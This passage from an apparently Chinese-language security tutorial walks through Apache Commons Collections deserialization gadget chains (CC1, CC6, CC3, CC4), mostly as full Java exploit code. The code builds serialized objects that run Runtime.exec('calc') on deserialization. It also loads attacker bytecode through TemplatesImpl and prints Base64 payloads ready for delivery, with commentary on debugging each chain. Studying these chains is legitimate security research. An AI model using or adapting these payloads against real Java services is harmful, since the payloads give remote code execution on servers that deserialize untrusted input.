InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        Object o = declaredConstructor.newInstance(Override.class, mapProxy);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

其实这个AnnotationInvocationHandler类就很像我们自己写的ProxyHandler.

image-20220604154945532

这里为啥要用这个entrySet()

image-20220604154225183

这里可以看到不能调用member的equals方法,不然就直接return了,还有就是paramTypes.length不能等于零,不然就抛出异常了

image-20220604154702471

真的搞不懂为什么可以执行反序列化,但是invoke打断点就是进不去 最后将这两个选项去掉才可以

image-20220724164838553

image-20220724165636472

最终代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        上面都是一样的

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
//        这里我们调用流程还是差不都的
        Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

//
        Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
        aihClassDeclaredConstructor.setAccessible(true);
//        这里我们要使用下面这个AnnotationInvocationHandler 原因就是我们需要动态代理
        InvocationHandler invocationHandler = (InvocationHandler) aihClassDeclaredConstructor.newInstance(Override.class, decorate);
//      这里的new Class[]{Map.class} 代表我们要代理map invocationHandler
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
//        以上是反序列化前的准备
        
//        这一步是反序列化的入口
        Object o = aihClassDeclaredConstructor.newInstance(Override.class, mapProxy);


        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66

我们再次捋一下

AnnotationInvocationHandler的readObject() 执行了 AnnotationInvocationHandler代理类的entrySet()方法,而当我们去执行代理类中的方法时会导致执行AnnotationInvocationHandler中的invoke方法

image-20220729140319431

image-20220729140619961

接着走到LazyMap的get去

image-20220729140717621

又因为这里的map中不包含这个key

image-20220729140928512

接着就会去执行ConstantTransformer()的transform()

image-20220729141019281

image-20220604161313058

cc6

image-20220604161118461

这里可以看到TiedMapEntry调用了map.get()与上一条链的LazyMap.get相似

image-20220729141512954

这里可以看到TiedMapEntry的hashCode调用了getValue

image-20220604162149234

这里的getValue调用了map.get,而这里的map是我们可控的,那么我们可以将它赋值为LazyMap

image-20220604162237782

也许你已经想到了哪里会有反序列化的入口

image-20220604162722049

就是这里

image-20220604162735062

image-20220604162753148

只需要将key赋值成tiedMapEntry就可以了

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
//        前面都一样

//        先创建一个tiedMapEntry来调用
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aaa");

//        这里创建一个HashMap来反序列化
        HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
//        传入key是tiedMapEntry
        objectObjectHashMap1.put(tiedMapEntry,"bbb");

        serialize(objectObjectHashMap1);
//        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51

根据urldns的经验可以发现在serilize就会执行了,我们需要去更改一下 而且这里并不能正常序列化

image-20220729153658206

我们这里更改LazyMap,这里可以看到这个factory是一个transformer 所以我们可以给他赋值为一个ConstantTransformer

image-20220604163540144

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


//        现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
//        这里原来放的是chainedTransformer 我们给他放一个空的
        Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
        objectObjectHashMap1.put(tiedMapEntry,"bbb");

//      我们来改回factory
        Class<LazyMap> lazyMapClass = LazyMap.class;
//        获取这个factory
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
//        这里我们在改回chainedTransformer
        factoryField.set(lazyMap,chainedTransformer);

//        serialize(objectObjectHashMap1);
        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59

这里之后序列化不执行了,反序列化也不执行

调一下

image-20220604164229393

下面是关键,由于我们在put之后这里的key就有值了.所以也就不会去执行transform(key),也就是在put之后我们需要将key删除

image-20220729160028576

最终代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


//        现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
//        这里原来放的是chainedTransformer 我们给他放一个空的
        Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
        objectObjectHashMap1.put(tiedMapEntry,"bbb");

//        这里将aaa删除
        lazyMap.remove("aaa");

//      我们来改回factory
        Class<LazyMap> lazyMapClass = LazyMap.class;
//        获取这个factory
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
//        这里我们在改回chainedTransformer
        factoryField.set(lazyMap,chainedTransformer);

        serialize(objectObjectHashMap1);
        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61

image-20220729160456615

image-20220604173942786

image-20220604174712102

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");


        HashMap<Object, Object> o = new HashMap<>();
        o.put(tiedMapEntry,"bbb");

        lazyMap.remove("aaa");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);






        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);


        Base64.Decoder decoder = Base64.getDecoder();
        byte[] decode = decoder.decode(s);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62

cc3

我们从ClassLoader中的defineClass开始寻找那个defineClass是公有的

image-20220604175440883

找到了这个 这个是defalut接着找这个

image-20220604175837155

这里找到一个私有的,我们接着去找那里变成公有了

image-20220604180236271

image-20220604180528261

这里变成了公有

image-20220604180551841

所以我们已经可以知道从TemplatesImpl类我们就可以自己加载一个类了

先写一个恶意的Test.java

package org.example;

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
        byte [][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

defineTransletClasses方法中的_auxClasses这里是空的如果执行else之后就会爆空指针方法

image-20220604181743444

这里要执行if语句就需要superCLass.getName().等于常量

image-20220724141648246

superClass.getName()根据字面意思也可以理解出来就是superClass.getName()获取父类的类名

所以我们自己自定义的恶意类需要继承继承一下这个常量

image-20220604182022907

实现方法

image-20220604182048524

image-20220729170215001

我们使用InvokerTransformer去执行

image-20220729170557056

image-20220729171312760

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
        byte [][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
//        先在构造方法中传入数组
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value","value");
//        chainedTransformer 注意这里进行更改
        Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
        aihClassDeclaredConstructor.setAccessible(true);
        Object o = aihClassDeclaredConstructor.newInstance(Target.class, decorate);

        serialize(o);
        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72

image-20220604182503281

我们在来看看cc3这里还能怎么写

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
        byte [][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());



        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57

image-20220604184339410

这里发现也可以执行按照TemplatesImpl类的逻辑应该是templates去调用newTransformer().而这里可以看到使用了TrAXFilter类的构造方法中的newTransformer()

image-20220729184701472

接着我们又找到了InstantiateTransformer类的transform()方法,这里先通过getConstructor(iParamTypes)获取了TrAXFilter类的构造方法,接着又调用了newInstance()并传入了一个templates对象,也就是我们已经构造好的对象 接着来到input这里我们存放的是我们需要获取那个类的构造方法

image-20220729185435093

image-20220729185450204

简单理解一下InstantiateTransformer构造方法的两个参数,第一个参数是用于获取一个TrAXFilter构造方法的参数类 第二个则是构造方法的参数

image-20220729185141015

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaa");

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());


        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

        Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass1.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decorate);

        Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        Object o1 = constructor.newInstance(Override.class, map);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o1);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);


        Base64.Decoder decoder = Base64.getDecoder();
        byte[] decode = decoder.decode(s);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78

cc4

添加依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
  • 1
  • 2
  • 3
  • 4
  • 5

image-20220604190732826

我们这里使用的是PriorityQueue类的readObject方法

可以看到这里的queue是一个数组

image-20220729193915182

heapify()

image-20220729194020473

image-20220729201448410

image-20220729201510819

接着我们反过来写,首先看到TransformingComparator类的构造方法中.可以看到这里的构造方法首先是一个参数的去调用两个参数的给transformer赋值了

image-20220729202006491

这里是PriorityQueue类的构造方法,在这里我们需要给comparator赋值为我们创建的TransformingComparator

image-20220729202543811

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class urldnsre {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaa");

        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);



        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
